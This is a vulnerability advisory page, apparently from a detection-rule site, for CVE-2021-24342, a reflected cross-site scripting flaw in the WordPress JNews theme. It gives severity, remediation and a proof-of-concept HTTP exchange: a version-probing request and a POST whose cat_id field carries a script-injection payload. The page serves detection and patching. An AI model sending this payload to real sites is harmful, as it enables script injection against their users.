🔙 목록으로 돌아가기

CVE-2021-24342: WordPress JNews Theme <8.0.6 - Cross-Site Scripting

TitleWordPress JNews Theme <8.0.6 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.02816
CVE IDCVE-2021-24342
CWE IDCWE-79
Tags cve2021 cve wordpress xss wp-plugin wpscan jnews vuln

🔍 Vulnerability Description

WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).

🌐 HTTP Request

GET /wp-content/themes/jnews/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Accept-Encoding: gzip
POST /?ajax-request=jnews HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 136
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24342.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24342.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A